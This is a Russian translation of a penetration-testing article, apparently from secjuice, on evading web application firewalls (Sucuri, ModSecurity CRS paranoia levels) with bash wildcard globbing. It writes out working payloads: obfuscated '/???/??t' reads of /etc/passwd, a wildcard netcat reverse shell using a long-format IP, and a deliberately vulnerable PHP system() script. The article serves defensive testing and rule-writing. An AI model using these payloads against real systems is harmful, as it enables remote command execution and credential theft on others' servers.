Техники обхода файерволов веб-приложений (Web Application Firewall (WAF)) (ч. 1)


Источник: https://medium.com/secjuice/waf-evasion-techniques-718026d693d8

Я могу прочитать ваш пароль с помощью «/???/??t /???/??ss??». Обход файерволов веб-приложений Sucuri WAF, ModSecurity, Paranoia Level и других…

Это не редкость найти уязвимость Удалённое выполнение команд (Remote Command Execution) в веб-приложении и это подтверждается в «OWASP Top 10 application security risk 2017» в котором «Инъекция» (Injection) на первом месте:

Недостатки безопасности связанные с инъекциями (внедрениями): такие как SQL, NoSQL, ОС и LDAP инъекции, встречаются когда ненадёжные данные отправляются интерпретатору в качестве команды или запроса. Враждебные данные атакующего могут с помощью уловки заставить интерпретатор выполнить непреднамеренные команды или получить доступ к данным без надлежащей авторизации.

Все современные Файерволы веб-приложений (Web Application Firewall — WAF) способны перехватывать (и даже блокировать) попытки RCE (Remote Command Execution — Удалённого выполнения команд), но когда это происходит в системах Linux у нас есть неимоверное количество путей обхода набора правил WAF. Лучший друг тестера на проникновение это не собака, это подстановочные символы (wildcard). Перед тем, как мы начнём делать разные приколюхи с тестированием на проникновение веб-приложений (WAPT), я хочу показать вам несколько возможностей, которые вы могли не знать о Bash и подстановочных символах.

Вы могли это не знать о подстановочных символах

Стандартные подстановочные символы Bash (также известные как globbing patterns) используются различными утилитами командной строки для работы с несколькими файлами. Для дополнительной информации о стандартных подстановочных символах обратитесь к странице справки, для этого в командной строке выполните:

man 7 glob

Не каждый знает, что существует множество вариантов синтаксисов bash, которые дают вам возможность выполнить команды уровня системы просто используя знак вопроса «?», слэш «/», цифры и буквы. Вы можете даже перечислить файлы и их содержимое используя то же количество символов. Как? Я дам вам несколько примеров:

Вместо выполнения команды ls вы можете использовать следующий синтаксис:

/???/?s

Вывод справки «ls» полученной в результате выполнения синтаксиса /???/?s:

Примечание: строка /???/?s может соответствовать сразу нескольким программам, например:

which /???/?s
/bin/as
/bin/gs
/bin/ls
/bin/ps
/bin/ss
which: no ts in (/lib)
which: no fs in (/sys)

Этот вывод означает, что шаблон /???/?s соответствует программам /bin/as, /bin/gs, /bin/ls, /bin/ps и /bin/ss — каждая из которых присутствует в системе. Следовательно, при использовании /???/?s будет запущена каждая (!) из приведённых команд.

С синтаксисом этого типа вы можете выполнить практически всё, что хотите. Допустим уязвимая цель за Web Application Firewall и этот WAF имеет правило, которое блокирует все запросы, содержащие /etc/passwd или /bin/cat внутри значения GET параметра или внутри тела POST запроса. Если вы попытаетесь сделать запрос вроде такого /?cmd=cat+/etc/passwd, он будет заблокирован целевым WAF и ваш IP будет навсегда забанен как «очередного хакера». Но у нас есть секретное оружие под названием подстановочные символы. Если вы достаточно удачливы (для не столь удачливых смотрите дальше), то целевой WAF не имеет «уровня паранойи» который блокирует символы вроде ? и / внутри строки запроса. Поэтому вы можете с лёгкостью сделать ваш запрос (в url-кодировке) вроде такого: /?cmd=%2f???%2f??t%20%2f???%2fp??s??

Получится команда:

/???/??t /???/p??s??

Кстати, чтобы кодировать в url-кодировку и из url-кодировки используйте команды вида:

echo 'строка для декодирования из url' | php -r 'echo urldecode(fgets(STDIN));'
# и
echo -n 'строка для кодирования в url' | php -r 'echo urlencode(fgets(STDIN));'

Примеры:

echo '%2f???%2f??t%20%2f???%2fp??s??' | php -r 'echo urldecode(fgets(STDIN));'
/???/??t /???/p??s??

В обратную сторону:

echo -n '/???/??t /???/p??s??' | php -r 'echo urlencode(fgets(STDIN));'
%2F%3F%3F%3F%2F%3F%3Ft+%2F%3F%3F%3F%2Fp%3F%3Fs%3F%3F

Результат выполнения /bin/cat /etc/passwd с подстановочными символами:

Как вы можете видеть на скриншоте выше, имеется 3 ошибки «/bin/cat *: Is a directory», то есть /bin/cat *: не является директорией. Это случилось поскольку «/???/??t» может быть истолковано процессом globbing как /bin/cat, но и также как /dev/net или /etc/apt и так далее.

Подстановочный символ знак вопроса (?) обозначает только один символ, которым может быть любой символ. Таким образом, в случае если вы знаете часть имени файла, но не одну букву, тогда вы можете попытаться исопльзовать подстановочные символы. Например, ls *.??? выведет список всех файлов в текущей директории, у которых файловое расширение длиной в 3 символа. То есть будут показаны файлы с такими расширениями как .gif , .jpg , .txt


Используя этот подстановочный символ, вы можете создать обратное подключение к оболочке используя netcat. Допустим нам нужно выполнить обратный шелл к 127.0.0.1 на порту 1337 (команда в обычной форме это nc -l -e /bin/bash 127.0.0.1 -p 1337), тогда вы можете сделать это синтаксисом вроде следующего:

/???/n?t??t -l -e /???/b??h 2130706433 -p 1337

Конвертируя IP адрес в «длинный» формат (2130706433), вы можете избежать использование символов точек (.) в вашем HTTP запросе.

Также nc заменена на netcat (псевдоним для nc). В зависимости от системы и установленных программ, также иногда можно использовать ncat (версия nc от авторов Nmap). Ещё один вариант — nc.traditional (работает, например, в Kali Linux, возможно и в других производных Debian).

На «жертве» запущено прослушивание подключения:

/???/n?t??t -l -e /???/b??h 2130706433 -p 1337

«Атакующий» может подключиться командой вида:

nc 127.0.0.1 1337

Затем выполним какие-нибудь команды, например:

cd /
ls -l

В предыдущем примере на «атакуемой» машине было открыто прослушивание порта и затем «злоумышленник» подключился к ней.

Можно использовать другой вариант, «злоумышленник» открывает на своей машине порт в ожидании соединения:

nc -l -p 1337

И выполняет подключение с «атакуемой» машины:

/???/n?t??t -e /???/b??h 2130706433 1337

Подведём небольшой итог двух команд, которые мы только что рассмотрели:

Обычная команда: netcat -l -e /bin/bash 127.0.0.1 -p 1337

Команда для обхода: /???/n?t??t -l -e /???/b??h 2130706433 -p 1337

Используемые символы: / ? n t l e p — [0-9]

Обычная команда: /bin/cat /etc/passwd


Команда для обхода: /???/??t /???/??ss??

Используемые символы: / ? t s

Почему используется ? (знак вопроса) вместо * (звёздочки)? Потому что * широко используется в синтаксисе комментирования (что-то вроде /* А здесь комментарий */) и многие WAF блокирует его, чтобы избежать SQL инъекции… чего-то вроде UNION+SELECT+1,2,3/*

Перечислять файлы и директории используя echo? Да, мы можем. Команда echo, используя подстановочный символ, может перечислять файлы и директории в системе. Например:

echo /*/*ss*

Это может использоваться в RCE чтобы узнать, какие есть файлы и директории на целевой системе. Пример перечисления файлов и директорий через WAF:

Но почему использование подстановочных символов (и в особенности знака вопроса) может помочь обойти правила WAF? Давайте начнём с Sucuri WAF!

Обход Sucuri WAF

Тестирование техники обхода на Sucuri WAF:


Какой самый лучший способ тестирования набора правил WAF? Создать самый уязвимый в мире PHP скрипт и попробовать все возможные техники! На скриншоте выше у нас: в верхней левой панели моё ужасное веб-приложение (это просто PHP скрипт, который выполняет команды):

<?php
      echo 'ok: ';
      print_r($_GET['c']);
      system($_GET['c']);

В левой нижней панели вы можете видеть тестирование Удалённого выполнения команд на моём сайте, защищённым с помощью Sucuri WAF (test1.unicresit.it). Как вы можете увидеть, Sucuri блокирует мой запрос по причине «An attempted RFI/LFI was detected and blocked» («была обнаружена и заблокирована попытка RFI/LFI). Причина не до конца верна, но хорошая новость в том, что WAF заблокировал мою атаку (я даже не могу себе представить, почему файервол обязан мне докладываться о причине, по которой заблокирован запрос?! Но для этого должны быть веские основания… я почти уверен).

Правая панель является самой интересной из всех, поскольку она показывает тот же запрос с использованием «знака вопроса» в качестве подстановочного символа. Результат пугающий. Запрос принят Sucuri WAF и моё приложение выполнило команду, которую я передал в параметре c. Теперь я могу прочитать файл /etc/passwd и многое другое… Я могу прочитать исходный код PHP самого приложения, я могу выполнить обратный шелл (reverse shell) используя netcat (или как мне нравится называть её /???/n?t??t или /???/?c), или я могу исполнить программы, такие как curl или wget чтобы раскрыть реальный IP адрес веб сервера, который даст мне возможность обходить WAF, подключаясь напрямую к цели.

Я не знаю, случилось ли это из-за того, что я что-то пропустил в моей конфигурации Sucuri WAF, но не похоже на это… Я спросил Sucuri, является ли это преднамеренным поведением, и настраивают ли они стандартный «low paranoia level» для избежания ложных срабатываний (false positives), но я до сих пор ожидаю ответа.

Пожалуйста, помните, что я делаю тест используя простейший PHP скрипт, который не воспроизводит реальный сценарий. ИМХО вы не должны судить WAF на основе того, как много запросов он блокирует, и Sucuri не менее безопасен просто потому, что не может полностью защитить намеренно уязвимый вебсайт. Необходимое уточнение сделано!


ModSecurity OWASP CRS 3.0

Я действительно люблю ModSecurity, я думаю, что новая libmodsecurity (v3), используемая с Nginx и коннектором Nginx — это лучшее решение, которое я когда-либо использовал для развёртывания Файервола веб приложений. Я также большой поклонник OWASP Core Rule Set! Я использую его везде. Но если вы не знакомы хорошо с этим набором правил, вы должны обратить внимания на Paranoia Level!

Paranoia Level (Уровень Паранойя) для начинающих

Следующая «схема», которую вы можете найти здесь — это хороший обзор как работает каждый уровень на правилах «REQUEST PROTOCOL ENFORCEMENT». Как вы можете видеть с PL1 строка запроса может содержать только символы ASCII в диапазоне 1–255 и правило становится более ограничительным вплоть до уровня PL4, который блокирует всё, кроме ASCII символов в очень маленьком диапазоне.

# -=[ Targets and ASCII Ranges ]=-
#
# 920270: PL1
# REQUEST_URI, REQUEST_HEADERS, ARGS и ARGS_NAMES
# ASCII: 1-255
# Пример: Полный диапазон ASCII без символа null
#
# 920271: PL2
# REQUEST_URI, REQUEST_HEADERS, ARGS и ARGS_NAMES
# ASCII: 9,10,13,32-126,128-255
# Пример: Полный видимый ASCII, tab, newline
#
# 920272: PL3
# REQUEST_URI, REQUEST_HEADERS, ARGS, ARGS_NAMES, REQUEST_BODY
# ASCII: 32-36,38-126
# Пример: Видимые буквы нижнего регистра диапазона ASCII без символа процент
#
# 920273: PL4
# ARGS, ARGS_NAMES и REQUEST_BODY
# ASCII: 38,44-46,48-58,61,65-90,95,97-122
# Пример: A-Z a-z 0-9 = - _ . , : &
#
# 920274: PL4
# REQUEST_HEADERS без User-Agent, Referer, Cookie
# ASCII: 32,34,38,42-59,61,65-90,95,97-122
# Пример: A-Z a-z 0-9 = - _ . , : & " * + / SPACE

Давайте проведём тесты со всеми уровнями!

Paranoia Level 0 (PL0)

Уровень Paranoia Level 0 обозначает, что многие правила отключены, поэтому абсолютно нормально, что наша полезная нагрузка может привести к Удалённому выполнению команд без каких-либо проблем. Не паникуем 🙂

SecAction "id:999,\
phase:1,\
nolog,\
pass,\
t:none,\
setvar:tx.paranoia_level=0"

RCE принята ModSecurity на PL0 (это нормально):

Уровень paranoia level 1 в ModSecurity означает “flawless rules of high quality with virtually no false positives” (не вызывающие проблем правила высокого качества теоретически не вызывающие ложных срабатываний), но они также разрешают слишком много. Вы можете найти список правил сгруппированных по уровню паранойи на веб-сайте netnea: https://www.netnea.com/cms/core-rule-set-inventory/

Уровни Paranoia Level 1 и 2 (PL1, PL2)

Я сгруппировал уровни 1 и 2 поскольку их разница (как вы можете видеть на схеме выше) не оказывает воздействия для наших целей, все поведения те же самые, как описано ниже.

SecAction "id:999,\
phase:1,\
nolog,\
pass,\
t:none,\
setvar:tx.paranoia_level=1"

С PL1 (и PL2) ModSecurity очевидно блокирует мой запрос для «OS File Access Attempt» (930120). Но что если я буду использовать знак вопроса в качестве подстановочного символа? Запрос принимается моим WAF — с PL1 и PL2 моя RCE атака не была заблокирована и я смог прочитать /etc/passwd:

Это случилось из-за того, что «знак вопроса» и «слэш» и «пробел» входят в приемлемый диапазон символов для правил 920271 и 920272. Более того, использование «знаков вопроса» вместо синтаксиса команд дало мне возможность избежать фильтров «OS File» (файлы операционной системы), которые перехватывают обычные команды и файлы операционной системы (такие как /etc/passwd в нашем случае).

Уровень Paranoia Level 3 (PL3)

Этот уровень паранойи имеет дополнение: он блокирует запросы, содержащие такие символы как «?» более чем n раз. На самом деле, мои запросы были заблокированы как «Meta-Character Anomaly Detection Alert — Repetitive Non-Word Characters». Отлично! Хорошая работа, ModSecurity, ты выиграл плюшевого мишку! Но к сожалению моё веб приложение такое неудачное и уязвимое, что я могу использовать меньше знаков вопросов и всё равно прочитать файл passwd используя синтаксис: c=/?in/cat+/et?/passw?

Как вы можете видеть, если всего три знаков вопросов «?», то я могу обойти этот уровень паранойи и прочитать файл passwd внутри целевой системы. Окей, это не означает, что вы всегда безусловно должны устанавливать уровень паранойи на 4. Помните, что я тестирую на действительном убогом PHP скрипте, которые не представляет реальный сценарий… Я так надеюсь, по крайней мере…

Теперь каждый знает, что 42 это ответ на главный вопрос жизни, вселенной и всего такого. Но что насчёт вопроса: «Удастся ли обойти OWASP Rule Set на уровне паранойи 4?».

Уровень Paranoia Level 4 (PL4)

В принципе нет. Я не могу. Все символы за пределами диапазонов a-z A-Z 0–9 блокируются! Никак… и поверьте мне, когда вам нужно выполнить команду для чтения файлов, 90% вероятности, что вам нужен символ «пробела» и «слэша».

Хотите больше?

Вторая часть этой статьи: Техники обхода файерволов веб-приложений (Web Application Firewall (WAF)) (ч. 2).

Заключительные мысли

Назад к статичным HTML страницам… это самый быстрый способ улучшить безопасность вашего веб приложения! Трудно сказать, какая конфигурация является самой лучшей для предотвращения обхода WAF или какой уровень паранойи использовать. По моему скромному мнению, мы не должны надеятся на набор правил, одинаковый для всех веб приложений. На самом деле, я думаю, что нам следует настраивать наши правила для WAF исходя из контекста их применений — индивидуально для функциональности приложения.

В любом случая, когда вы пишите новое SecRule для вашего ModSecurity или чего-то подобного. Помните, что вероятно существует много способов ускользнуть от вашего фильтра / регулярного выражения. Поэтому пишите его с мыслью «как бы я мог обойти это правило?».

Дополнительная информация


Рекомендуется Вам:

Добавить комментарий

Ваш адрес email не будет опубликован. Обязательные поля помечены *